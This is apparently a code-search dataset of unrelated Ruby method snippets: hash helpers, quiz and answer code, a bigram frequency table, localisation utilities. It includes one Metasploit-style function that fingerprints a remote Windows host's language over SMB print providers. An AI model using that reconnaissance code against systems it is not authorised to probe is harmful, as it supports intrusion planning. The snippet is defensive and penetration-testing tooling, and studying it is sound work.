"def dennis_ritchies_language\n\tprogrammer_hash = \n \t\t{\n :grace_hopper => {\n :known_for => \"COBOL\",\n :languages => [\"COBOL\", \"FORTRAN\"]\n },\n :alan_kay => {\n :known_for => \"Object Orientation\",\n :languages => [\"Smalltalk\", \"LISP\"]\n },\n :dennis_ritchie => {\n :known_for => \"Unix\",\n :languages => [\"C\"]\n }\n }\n programmer_hash[:dennis_ritchie][:languages][0]\nend",
"def to_hash\n {'question_id' => id, 'answer_id' => choice}\n end",
"def similar_answers\n sa = []\n self.connections.each do |c|\n sa << c.target_answer_id\n end\n\n sa\n end",
"def smb_fingerprint_windows_lang\n\n #\n # Remote language detection via Print Providers\n # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt\n #\n\n lang = 'Unknown'\n\n sigs =\n {\n 'English' =>\n [\n Rex::Text.to_unicode('Windows NT Remote Printers'),\n Rex::Text.to_unicode('LanMan Print Services')\n ],\n 'Spanish' =>\n [\n Rex::Text.to_unicode('Impresoras remotas Windows NT'),\n Rex::Text.to_unicode('Impresoras remotas de Windows NT')\n ],\n 'Italian' =>\n [\n Rex::Text.to_unicode('Stampanti remote di Windows NT'),\n Rex::Text.to_unicode('Servizi di stampa LanMan')\n ],\n 'French' =>\n [\n Rex::Text.to_unicode('Imprimantes distantes NT'),\n Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),\n Rex::Text.to_unicode(\"Services d'impression LanMan\")\n ],\n 'German' =>\n [\n Rex::Text.to_unicode('Remotedrucker')\n ],\n 'Portuguese - Brazilian' =>\n [\n Rex::Text.to_unicode('Impr. remotas Windows NT'),\n Rex::Text.to_unicode('Impressoras remotas do Windows NT')\n ],\n 'Portuguese' =>\n [\n Rex::Text.to_unicode('Imp. remotas do Windows NT')\n ],\n 'Hungarian' =>\n [\n Rex::Text.to_unicode(\"\\x54\\xe1\\x76\\x6f\\x6c\\x69\\x20\\x6e\\x79\\x6f\\x6d\\x74\\x61\\x74\\xf3\\x6b\")\n ],\n 'Finnish' =>\n [\n Rex::Text.to_unicode(\"\\x45\\x74\\xe4\\x74\\x75\\x6c\\x6f\\x73\\x74\\x69\\x6d\\x65\\x74\")\n ],\n 'Dutch' =>\n [\n Rex::Text.to_unicode('Externe printers voor NT')\n ],\n 'Danish' =>\n [\n Rex::Text.to_unicode('Fjernprintere')\n ],\n 'Swedish' =>\n [\n Rex::Text.to_unicode(\"\\x46\\x6a\\xe4\\x72\\x72\\x73\\x6b\\x72\\x69\\x76\\x61\\x72\\x65\")\n ],\n 'Polish' =>\n [\n Rex::Text.to_unicode('Zdalne drukarki')\n ],\n 'Czech' =>\n [\n Rex::Text.to_unicode(\"\\x56\\x7a\\x64\\xe1\\x6c\\x65\\x6e\\xe9\\x20\\x74\\x69\\x73\\x6b\\xe1\\x72\\x6e\\x79\")\n ],\n 'Turkish' =>\n [\n \"\\x59\\x00\\x61\\x00\\x7a\\x00\\x31\\x01\\x63\\x00\\x31\\x01\\x6c\\x00\\x61\\x00\\x72\\x00\"\n ],\n 'Japanese' =>\n [\n \"\\xea\\x30\\xe2\\x30\\xfc\\x30\\xc8\\x30\\x20\\x00\\xd7\\x30\\xea\\x30\\xf3\\x30\\xbf\\x30\"\n ],\n 'Chinese - Traditional' =>\n [\n \"\\xdc\\x8f\\x0b\\x7a\\x53\\x62\\x70\\x53\\x3a\\x67\"\n ],\n 'Chinese - Traditional / Taiwan' =>\n [\n \"\\x60\\x90\\xef\\x7a\\x70\\x53\\x68\\x88\\x5f\\x6a\",\n ],\n 'Korean' =>\n [\n \"\\xd0\\xc6\\xa9\\xac\\x20\\x00\\x04\\xd5\\xb0\\xb9\\x30\\xd1\",\n ],\n 'Russian' =>\n [\n \"\\x1f\\x04\\x40\\x04\\x38\\x04\\x3d\\x04\\x42\\x04\\x35\\x04\\x40\\x04\\x4b\\x04\\x20\\x00\\x43\\x04\\x34\\x04\\x30\\x04\\x3b\\x04\\x35\\x04\\x3d\\x04\\x3d\\x04\\x3e\\x04\\x33\\x04\\x3e\\x04\\x20\\x00\\x34\\x04\\x3e\\x04\\x41\\x04\\x42\\x04\\x43\\x04\\x3f\\x04\\x30\\x04\",\n ],\n\n }\n\n begin\n prov = smb_enumprintproviders()\n if(prov)\n sigs.each_key do |k|\n sigs[k].each do |s|\n if(prov.index(s))\n lang = k\n break\n end\n break if lang != 'Unknown'\n end\n break if lang != 'Unknown'\n end\n\n if(lang == 'Unknown')\n\n @fpcache ||= {}\n mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])\n\n if(not @fpcache[mhash])\n\n buff = \"\\n\"\n buff << \"*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\\n\"\n buff << \" VERS: $Revision$\\n\"\n buff << \" HOST: #{rhost}\\n\"\n buff << \" OS: #{os}\\n\"\n buff << \" SP: #{sp}\\n\"\n\n prov.unpack(\"H*\")[0].scan(/.{64}|.*/).each do |line|\n next if line.length == 0\n buff << \" FP: #{line}\\n\"\n end\n\n prov.split(/\\x00\\x00+/n).each do |line|\n line.gsub!(\"\\x00\",'')\n line.strip!\n next if line.length < 6\n\n buff << \" TXT: #{line}\\n\"\n end\n\n buff << \"*** END FINGERPRINT\\n\"\n\n print_line(buff)\n\n @fpcache[mhash] = true\n end\n\n end\n end\n rescue ::Interrupt\n raise $!\n rescue ::Rex::Proto::SMB::Exceptions::ErrorCode\n end\n lang\n end",
"def all_vocabulary\n @dataset.select(:en, :ru).inject({}) do |hash, pair|\n hash.merge pair[:en] => pair[:ru]\n end\n end",
"def hash\n [self_uri, alternate_links, accent1, accent2, accent3, accent4, accent5, accent6, dark1, dark2, followed_hyperlink, hyperlink, light1, light2].hash\n end",
"def hash\n [is_bot, is_tor_node, is_threat, is_eu, location, currency_code, currency_name, region_area, subregion_area].hash\n end",
"def answer_dictionary (profile)\n answers = {}\n profile['answers'].each do |answer|\n answers << {\n answer['questionId'] => answer\n }\n end\n answers\nend",
"def get_languages\n response = get_siteinfo('languages')\n ret = {}\n response['query']['languages'].each { |l| ret[l['code']] = l['*'] }\n ret\n end",
"def hash\n [accept_tos, verify_sms, kyc_check, documentary_verification, selfie_check, watchlist_screening, risk_check].hash\n end",
"def translations_hash; end",
"def hash\n [mode, detection_timeout, silence_timeout, speech_threshold, speech_end_threshold, delay_result, callback_url, callback_method, fallback_url, fallback_method, username, password, fallback_username, fallback_password].hash\n end",
"def hash\n @vbits.hash\n end",
"def alan_kay_is_known_for\n#This method should return the language that Dennis Ritchie is known for.\n#Note: The :languages keys inside programmer_hash each store an array.\n#In this case, the test is looking for the value stored in that array.\n\tprogrammer_hash =\n \t\t{\n :grace_hopper => {\n :known_for => \"COBOL\",\n :languages => [\"COBOL\", \"FORTRAN\"]\n },\n :alan_kay => {\n :known_for => \"Object Orientation\",\n :languages => [\"Smalltalk\", \"LISP\"]\n },\n :dennis_ritchie => {\n :known_for => \"Unix\",\n :languages => [\"C\"]\n }\n }\n programmer_hash[:alan_kay][:known_for]\n #参考资料:http://www.korenlc.com/nested-arrays-hashes-loops-in-ruby/\nend",
"def answers\n return @answers\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def hash\n self[:pc].hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def api_hash locale=Locale.first\n \t{\n \t code: self.code, \n \t name: self.name(locale.name),\n note: self.note(locale.name),\n question: self.question(locale.name)\n }\n end",
"def hash\n [language, user_defined_field1, user_defined_field2, user_defined_field3, user_defined_field4, user_defined_field5, card_token, ptlf, knet_payment_id, knet_result, inquiry_result, bank_reference, knet_transaction_id, auth_code, auth_response_code, post_date, avr, error, error_text].hash\n end",
"def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end",
"def operators_hash\n search_by_text_hash 'оператор'\n end",
"def to_hash\n {\n :base => @base,\n :lang => @lang,\n :scheme => @scheme,\n :term => @term,\n :label => @label\n }\n end",
"def speakers_hash\n speeches.inject(Hash.new(0)) do |speakers, speech|\n speaker = speech.xpath(\"SPEAKER\").text\n speakers[speaker] += speech.xpath(\"LINE\").count\n speakers\n end\n end",
"def shuffle_and_print_answers(question)\n answers = [\n question.correct,\n question.incorrect1,\n question.incorrect2,\n question.incorrect3\n ].shuffle\n\n answer_hash = {}\n letter = \"A\"\n answers.each do |answer|\n answer_hash[letter] = answer\n letter = letter.next\n end\n\n print_question(question)\n print_answers(answer_hash)\n return answer_hash\nend",
"def hash\n [host_list, total_matching, total_returned].hash\n end",
"def hash\n @label.hash\n end",
"def q_string_to_hash\n self.remove_characters\n self.question_split\n self.question_join\n self.sort_questions\n self.arr_to_hash\n return self.data\n end",
"def lang\n\t\t\t@data[\"lang\"]\n\t\tend",
"def dictionary\n hash = {}\n @length_indexed_dict.each do |len, words_of_same_length|\n hash.merge! words_of_same_length\n end\n hash\n end",
"def to_h\n { :instructions => self.instructions,\n :prompts => self.prompts.sort_by(&:position).map { |p| p.to_h }\n }\n end",
"def svm_words_to_hash\n Hash[svm_words.map.with_index.to_a]\n end",
"def hash\n _window.hash\n end",
"def quiz(num, lang1, lang2)\n num.times do\n model.random_pair.map do |pair|\n puts pair[lang1]\n print \"> \"\n user_answer = STDIN.gets.chomp\n puts pair[lang2] unless pair[lang2] == user_answer\n end\n end\n end",
"def full_bigram_counts\n {\n'TH' => 116997844,\n'HE' => 100689263,\n'IN' => 87674002,\n'ER' => 77134382,\n'AN' => 69775179,\n'RE' => 60923600,\n'ES' => 57070453,\n'ON' => 56915252,\n'ST' => 54018399,\n'NT' => 50701084,\n'EN' => 48991276,\n'AT' => 48274564,\n'ED' => 46647960,\n'ND' => 46194306,\n'TO' => 46115188,\n'OR' => 45725191,\n'EA' => 43329810,\n'TI' => 42888666,\n'AR' => 42353262,\n'TE' => 42295813,\n'NG' => 38567365,\n'AL' => 38211584,\n'IT' => 37938534,\n'AS' => 37773878,\n'IS' => 37349981,\n'HA' => 35971841,\n'ET' => 32872552,\n'SE' => 31532272,\n'OU' => 31112284,\n'OF' => 30540904,\n'LE' => 30383262,\n'SA' => 30080131,\n'VE' => 29320973,\n'RO' => 29230770,\n'RA' => 28645577,\n'RI' => 27634643,\n'HI' => 27495342,\n'NE' => 27331675,\n'ME' => 27237733,\n'DE' => 27029835,\n'CO' => 26737101,\n'TA' => 26147593,\n'EC' => 25775798,\n'SI' => 25758841,\n'LL' => 24636875,\n'SO' => 23903631,\n'NA' => 23547524,\n'LI' => 23291169,\n'LA' => 23178317,\n'EL' => 23092248,\n'MA' => 21828378,\n'DI' => 21673998,\n'IC' => 21468412,\n'RT' => 21456059,\n'NS' => 21306421,\n'RS' => 21237259,\n'IO' => 21210160,\n'OM' => 21066156,\n'CH' => 20132750,\n'OT' => 20088048,\n'CA' => 19930754,\n'CE' => 19803619,\n'HO' => 19729026,\n'BE' => 19468489,\n'TT' => 19367472,\n'FO' => 18923772,\n'TS' => 18922522,\n'SS' => 18915696,\n'NO' => 18894111,\n'EE' => 18497942,\n'EM' => 18145294,\n'AC' => 17904683,\n'IL' => 17877600,\n'DA' => 17584055,\n'NI' => 17452104,\n'UR' => 17341717,\n'WA' => 16838794,\n'SH' => 16773127,\n'EI' => 16026915,\n'AM' => 15975981,\n'TR' => 15821226,\n'DT' => 15759673,\n'US' => 15699353,\n'LO' => 15596310,\n'PE' => 15573318,\n'UN' => 15237699,\n'NC' => 15214623,\n'WI' => 15213018,\n'UT' => 15137169,\n'AD' => 14877234,\n'EW' => 14776406,\n'OW' => 14610429,\n'GE' => 14425023,\n'EP' => 14024377,\n'AI' => 13974919,\n'LY' => 13742031,\n'OL' => 13726491,\n'FT' => 13696078,\n'OS' => 13596265,\n'EO' => 13524186,\n'EF' => 13252227,\n'PR' => 13191182,\n'WE' => 13185116,\n'DO' => 13120322,\n'MO' => 12950768,\n'ID' => 12896787,\n'IE' => 12505546,\n'MI' => 12168944,\n'PA' => 12068709,\n'FI' => 11993833,\n'PO' => 11917535,\n'CT' => 11888752,\n'WH' => 11852909,\n'IR' => 11681353,\n'AY' => 11523416,\n'GA' => 11239788,\n'SC' => 10800636,\n'KE' => 10650670,\n'EV' => 10574011,\n'SP' => 10570626,\n'IM' => 10544422,\n'OP' => 10459455,\n'DS' => 10429887,\n'LD' => 10245579,\n'UL' => 10173468,\n'OO' => 10168856,\n'SU' => 10031005,\n'IA' => 10002012,\n'GH' => 9880399,\n'PL' => 9812226,\n'EB' => 9738798,\n'IG' => 9530574,\n'VI' => 9380037,\n'IV' => 9129232,\n'WO' => 9106647,\n'YO' => 9088497,\n'RD' => 9025637,\n'TW' => 8910254,\n'BA' => 8867461,\n'AG' => 8809266,\n'RY' => 8788539,\n'AB' => 8775582,\n'LS' => 8675452,\n'SW' => 8673234,\n'AP' => 8553911,\n'FE' => 8529289,\n'TU' => 8477495,\n'CI' => 8446084,\n'FA' => 8357929,\n'HT' => 8351551,\n'FR' => 8339376,\n'AV' => 8288885,\n'EG' => 8286463,\n'GO' => 8188708,\n'BO' => 8172395,\n'BU' => 8113271,\n'TY' => 8008918,\n'MP' => 7835172,\n'OC' => 7646952,\n'OD' => 7610214,\n'EH' => 7559141,\n'YS' => 7539621,\n'EY' => 7528342,\n'RM' => 7377989,\n'OV' => 7350014,\n'GT' => 7347990,\n'YA' => 7239548,\n'CK' => 7205091,\n'GI' => 7103140,\n'RN' => 7064635,\n'GR' => 6989963,\n'RC' => 6974063,\n'BL' => 6941044,\n'LT' => 6817273,\n'YT' => 6714151,\n'OA' => 6554221,\n'YE' => 6499305,\n'OB' => 6212512,\n'DB' => 6106719,\n'FF' => 6085519,\n'SF' => 6073995,\n'RR' => 5896212,\n'DU' => 5861311,\n'KI' => 5814357,\n'UC' => 5742385,\n'IF' => 5740414,\n'AF' => 5702567,\n'DR' => 5701879,\n'CL' => 5683204,\n'EX' => 5649363,\n'SM' => 5580755,\n'PI' => 5559210,\n'SB' => 5553684,\n'CR' => 5514347,\n'TL' => 5403137,\n'OI' => 5336616,\n'RU' => 5330557,\n'UP' => 5306948,\n'BY' => 5232074,\n'TC' => 5196817,\n'NN' => 5180899,\n'AK' => 5137311,\n'SL' => 4965012,\n'NF' => 4950333,\n'UE' => 4927837,\n'DW' => 4906814,\n'AU' => 4884168,\n'PP' => 4873393,\n'UG' => 4832325,\n'RL' => 4803246,\n'RG' => 4645938,\n'BR' => 4621080,\n'CU' => 4604045,\n'UA' => 4589997,\n'DH' => 4585765,\n'RK' => 4491400,\n'YI' => 4461214,\n'LU' => 4402940,\n'UM' => 4389720,\n'BI' => 4356462,\n'NY' => 4343290,\n'NW' => 4215967,\n'QU' => 4169424,\n'OG' => 4163126,\n'SN' => 4157990,\n'MB' => 4121764,\n'VA' => 4111375,\n'DF' => 4033878,\n'DD' => 4001275,\n'MS' => 3922855,\n'GS' => 3920675,\n'AW' => 3918960,\n'NH' => 3915410,\n'PU' => 3858148,\n'HR' => 3843001,\n'SD' => 3842250,\n'TB' => 3815459,\n'PT' => 3812475,\n'NM' => 3796928,\n'DC' => 3782481,\n'GU' => 3768430,\n'TM' => 3759861,\n'MU' => 3755834,\n'NU' => 3732602,\n'MM' => 3730508,\n'NL' => 3692985,\n'EU' => 3674130,\n'WN' => 3649615,\n'NB' => 3602692,\n'RP' => 3588188,\n'DM' => 3544905,\n'SR' => 3513808,\n'UD' => 3499535,\n'UI' => 3481482,\n'RF' => 3436232,\n'OK' => 3397570,\n'YW' => 3379064,\n'TF' => 3368452,\n'IP' => 3348621,\n'RW' => 3348005,\n'RB' => 3346212,\n'OH' => 3254659,\n'KS' => 3227333,\n'DP' => 3145043,\n'FU' => 3138900,\n'YC' => 3128053,\n'TP' => 3070427,\n'MT' => 3055946,\n'DL' => 3050945,\n'NK' => 3043200,\n'CC' => 3026492,\n'UB' => 2990868,\n'RH' => 2968706,\n'NP' => 2968126,\n'JU' => 2924815,\n'FL' => 2890839,\n'DN' => 2840522,\n'KA' => 2833038,\n'PH' => 2825344,\n'HU' => 2771830,\n'JO' => 2721345,\n'LF' => 2702522,\n'YB' => 2696786,\n'RV' => 2692445,\n'OE' => 2616308,\n'IB' => 2598444,\n'IK' => 2585124,\n'YP' => 2581863,\n'GL' => 2576787,\n'LP' => 2543957,\n'YM' => 2516273,\n'LB' => 2463693,\n'HS' => 2462026,\n'DG' => 2442139,\n'GN' => 2426429,\n'EK' => 2411639,\n'NR' => 2393580,\n'PS' => 2377036,\n'TD' => 2346516,\n'LC' => 2328063,\n'SK' => 2321888,\n'YF' => 2305244,\n'YH' => 2291273,\n'VO' => 2253292,\n'AH' => 2225270,\n'DY' => 2218040,\n'LM' => 2216514,\n'SY' => 2214270,\n'NV' => 2194534,\n'YD' => 2122337,\n'FS' => 2047416,\n'SG' => 2043770,\n'YR' => 2021939,\n'YL' => 2013939,\n'WS' => 1988727,\n'MY' => 1949129,\n'OY' => 1932892,\n'KN' => 1903836,\n'IZ' => 1865802,\n'XP' => 1840696,\n'LW' => 1836811,\n'TN' => 1782119,\n'KO' => 1758001,\n'AA' => 1721143,\n'JA' => 1712763,\n'ZE' => 1709871,\n'FC' => 1570791,\n'GW' => 1567991,\n'TG' => 1530045,\n'XT' => 1509969,\n'FH' => 1507604,\n'LR' => 1505092,\n'JE' => 1487348,\n'YN' => 1485655,\n'GG' => 1468286,\n'GF' => 1465290,\n'EQ' => 1461436,\n'HY' => 1446451,\n'KT' => 1443985,\n'HC' => 1441057,\n'BS' => 1409672,\n'HW' => 1403223,\n'HN' => 1383958,\n'CS' => 1381608,\n'HM' => 1353001,\n'NJ' => 1342735,\n'HH' => 1329998,\n'WT' => 1301293,\n'GC' => 1299541,\n'LH' => 1274048,\n'EJ' => 1256993,\n'FM' => 1251312,\n'DV' => 1238565,\n'LV' => 1238287,\n'WR' => 1226755,\n'GP' => 1215204,\n'FP' => 1199845,\n'GB' => 1184377,\n'GM' => 1178511,\n'HL' => 1169468,\n'LK' => 1164186,\n'CY' => 1145316,\n'MC' => 1101727,\n'YG' => 1049082,\n'XI' => 1024736,\n'HB' => 1014004,\n'FW' => 1005903,\n'GY' => 979804,\n'HP' => 978649,\n'MW' => 937621,\n'PM' => 931225,\n'ZA' => 929119,\n'LG' => 926472,\n'IW' => 922059,\n'XA' => 904148,\n'FB' => 888155,\n'SV' => 882083,\n'GD' => 879792,\n'IX' => 879360,\n'AJ' => 870262,\n'KL' => 846309,\n'HF' => 834284,\n'HD' => 828755,\n'AE' => 815963,\n'SQ' => 800346,\n'DJ' => 799366,\n'FY' => 789961,\n'AZ' => 768359,\n'LN' => 752316,\n'AO' => 749566,\n'FD' => 748027,\n'KW' => 719633,\n'MF' => 715087,\n'MH' => 710864,\n'SJ' => 704442,\n'UF' => 701892,\n'TV' => 698150,\n'XC' => 697995,\n'YU' => 695512,\n'BB' => 689158,\n'WW' => 674610,\n'OJ' => 661082,\n'AX' => 660826,\n'MR' => 660619,\n'WL' => 657782,\n'XE' => 653947,\n'KH' => 650095,\n'OX' => 650078,\n'UO' => 649906,\n'ZI' => 644035,\n'FG' => 637758,\n'IH' => 610683,\n'TK' => 610333,\n'II' => 607124,\n'IU' => 576683,\n'TJ' => 559473,\n'MN' => 558397,\n'WY' => 553647,\n'KY' => 553296,\n'KF' => 537342,\n'FN' => 534362,\n'UY' => 531960,\n'PW' => 530411,\n'DK' => 525744,\n'RJ' => 518157,\n'UK' => 514873,\n'KR' => 507020,\n'KU' => 506618,\n'WM' => 505687,\n'KM' => 485617,\n'MD' => 481126,\n'ML' => 478528,\n'EZ' => 465466,\n'KB' => 457860,\n'WC' => 448394,\n'WD' => 432646,\n'HG' => 429607,\n'BT' => 428276,\n'ZO' => 424016,\n'KC' => 420017,\n'PF' => 418168,\n'YV' => 411487,\n'PC' => 400308,\n'PY' => 396147,\n'WB' => 394820,\n'YK' => 391953,\n'CP' => 382923,\n'YJ' => 378679,\n'KP' => 375653,\n'PB' => 369336,\n'CD' => 358435,\n'JI' => 357577,\n'UW' => 352732,\n'UH' => 339341,\n'WF' => 336213,\n'YY' => 332973,\n'WP' => 321746,\n'BC' => 320380,\n'AQ' => 315068,\n'CB' => 298053,\n'IQ' => 291635,\n'CM' => 285942,\n'MG' => 285133,\n'DQ' => 283314,\n'BJ' => 282608,\n'TZ' => 280007,\n'KD' => 277982,\n'PD' => 273162,\n'FJ' => 269865,\n'CF' => 267630,\n'NZ' => 266461,\n'CW' => 257253,\n'FV' => 244685,\n'VY' => 233082,\n'FK' => 228905,\n'OZ' => 228556,\n'ZZ' => 221275,\n'IJ' => 219128,\n'LJ' => 218362,\n'NQ' => 217422,\n'UV' => 212051,\n'XO' => 211173,\n'PG' => 211133,\n'HK' => 210385,\n'KG' => 209266,\n'VS' => 204093,\n'HV' => 197539,\n'BM' => 191807,\n'HJ' => 189906,\n'CN' => 188046,\n'GV' => 186777,\n'CG' => 181590,\n'WU' => 180884,\n'GJ' => 176947,\n'XH' => 166599,\n'GK' => 163830,\n'TQ' => 159111,\n'CQ' => 157546,\n'RQ' => 156933,\n'BH' => 154489,\n'XS' => 154347,\n'UZ' => 153736,\n'WK' => 148964,\n'XU' => 147533,\n'UX' => 144814,\n'BD' => 141752,\n'BW' => 140189,\n'WG' => 139890,\n'MV' => 136314,\n'MJ' => 134263,\n'PN' => 131645,\n'XM' => 127492,\n'OQ' => 122677,\n'BV' => 120081,\n'XW' => 119322,\n'KK' => 118811,\n'BP' => 115161,\n'ZU' => 113538,\n'RZ' => 113432,\n'XF' => 113031,\n'MK' => 111041,\n'ZH' => 107639,\n'BN' => 106125,\n'ZY' => 105871,\n'HQ' => 101241,\n'WJ' => 99435,\n'IY' => 98361,\n'DZ' => 98038,\n'VR' => 96416,\n'ZS' => 94993,\n'XY' => 94329,\n'CV' => 94224,\n'XB' => 94041,\n'XR' => 90046,\n'UJ' => 88168,\n'YQ' => 87953,\n'VD' => 85611,\n'PK' => 83017,\n'VU' => 82830,\n'JR' => 80471,\n'ZL' => 80039,\n'SZ' => 79840,\n'YZ' => 78281,\n'LQ' => 77148,\n'KJ' => 76816,\n'BF' => 75352,\n'NX' => 74844,\n'QA' => 73527,\n'QI' => 73387,\n'KV' => 73184,\n'ZW' => 68865,\n'WV' => 63930,\n'UU' => 63043,\n'VT' => 62912,\n'VP' => 62577,\n'XD' => 60101,\n'GQ' => 59750,\n'XL' => 59585,\n'VC' => 59024,\n'CZ' => 57914,\n'LZ' => 57314,\n'ZT' => 56955,\n'WZ' => 52836,\n'SX' => 50975,\n'ZB' => 50652,\n'VL' => 49032,\n'PV' => 48105,\n'FQ' => 47504,\n'PJ' => 47043,\n'ZM' => 46034,\n'VW' => 45608,\n'CJ' => 41526,\n'ZC' => 41037,\n'BG' => 40516,\n'JS' => 39326,\n'XG' => 39289,\n'RX' => 38654,\n'HZ' => 37066,\n'XX' => 35052,\n'VM' => 35024,\n'XN' => 34734,\n'QW' => 34669,\n'JP' => 34520,\n'VN' => 33082,\n'ZD' => 32906,\n'ZR' => 32685,\n'FZ' => 31186,\n'XV' => 31117,\n'ZP' => 30389,\n'VH' => 30203,\n'VB' => 29192,\n'ZF' => 28658,\n'GZ' => 28514,\n'TX' => 28156,\n'VF' => 28090,\n'DX' => 27413,\n'QB' => 27307,\n'BK' => 26993,\n'ZG' => 26369,\n'VG' => 25585,\n'JC' => 24770,\n'ZK' => 24262,\n'ZN' => 24241,\n'UQ' => 23386,\n'JM' => 22338,\n'VV' => 22329,\n'JD' => 21903,\n'MQ' => 21358,\n'JH' => 20960,\n'QS' => 20847,\n'JT' => 20408,\n'JB' => 19380,\n'FX' => 19313,\n'PQ' => 18607,\n'MZ' => 18271,\n'YX' => 16945,\n'QT' => 16914,\n'WQ' => 16245,\n'JJ' => 16085,\n'JW' => 16083,\n'LX' => 15467,\n'GX' => 14778,\n'JN' => 14452,\n'ZV' => 14339,\n'MX' => 14250,\n'JK' => 13967,\n'KQ' => 13905,\n'XK' => 13651,\n'JF' => 12640,\n'QM' => 12315,\n'QH' => 12273,\n'JL' => 12149,\n'JG' => 12023,\n'VK' => 11469,\n'VJ' => 11432,\n'KZ' => 11192,\n'QC' => 10667,\n'XJ' => 10629,\n'PZ' => 9697,\n'QL' => 9603,\n'QO' => 9394,\n'JV' => 8925,\n'QF' => 8778,\n'QD' => 8678,\n'BZ' => 8132,\n'HX' => 7526,\n'ZJ' => 7167,\n'PX' => 6814,\n'QP' => 6062,\n'QE' => 6020,\n'QR' => 5975,\n'ZQ' => 5773,\n'JY' => 5723,\n'BQ' => 5513,\n'XQ' => 5416,\n'CX' => 5300,\n'KX' => 5083,\n'WX' => 4678,\n'QY' => 4557,\n'QV' => 4212,\n'QN' => 3808,\n'VX' => 3192,\n'BX' => 3021,\n'JZ' => 2859,\n'VZ' => 2633,\n'QG' => 2567,\n'QQ' => 2499,\n'ZX' => 2463,\n'XZ' => 2082,\n'QK' => 2023,\n'VQ' => 1488,\n'QJ' => 1342,\n'QX' => 765,\n'JX' => 747,\n'JQ' => 722,\n'QZ' => 280\n}\n end",
"def encoding prog_h\n puts \"encoding...\"\n hash={}\n prog_h.each{|addr,instr| hash[addr]=encode(instr)}\n return hash\n end",
"def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"def history\n # ... Go up to latest not include\n (0...guesses.count).map do |i|\n { guess: guesses[i].word, hint: password.hints[i].message, correct: guesses[i].correct }\n end\n end",
"def answers\n [answer_1, answer_2]\n end",
"def get_id_checksum_hash(locale)\n #Gather all ids to retrieve from the db\n ids = Array.new\n Dir.glob(\"*/*\") do | file_name |\n if (file_name.end_with? \"deliverable_metadata.json\")\n ids.push(get_deliverable_metadata_id(locale, Settings[:CURRENT_VERSION], file_name.split(\"/\")[0])) \n elsif (file_name.end_with? \".toc\")\n ids.push(get_toc_id(locale, Settings[:CURRENT_VERSION], file_name.split(\"/\")[0]))\n elsif (file_name.end_with?(\".htm\", \".html\"))\n ids.push(get_topic_or_image_id(locale, Settings[:CURRENT_VERSION], file_name))\n end\n end\n \n #get the id,hash results \n rows = @db.view(\"content_views/checksum_by_id\", :keys => ids)['rows']\n id_checksum_hash = Hash.new(rows.size)\n \n #store it in a hash\n rows.each { |result|\n id_checksum_hash[result[\"key\"]] = result[\"value\"]\n }\n return id_checksum_hash\n end",
"def preferences_hash\n self.preferences ||= []\n Hash[\n (0..padded_size-1).collect do |i|\n [(i+1).to_s, self.preferences[i].to_s]\n end\n ]\n end",
"def grammar_hash\n @grammar_hash ||= ::RelatonIec.grammar_hash\n end",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"def select_word\r\n\t\t@answer = @words[rand(27)]\r\n\r\n\r\n\t\t# this would be a list of hashes\r\n\t\t@question = \"\"\r\n \t@tempque=\"\"\r\n\t\tfor x in 0..@answer.length\r\n\r\n\t\t\t@question=@question+\"#\"\r\n \t\t@tempque=@tempque+\"#\"\r\n\t\tend\r\n\t\treturn @answer\r\n\r\n\tend",
"def get_answer\n #converts the contents of the :answer key to an integer and assins it to an instance variable\n @answer = cookies[:answer].to_i\n end",
"def hash\n [rank, suit].hash\n end",
"def select_languages_localized\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[2],y[0]]}.sort!\n end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
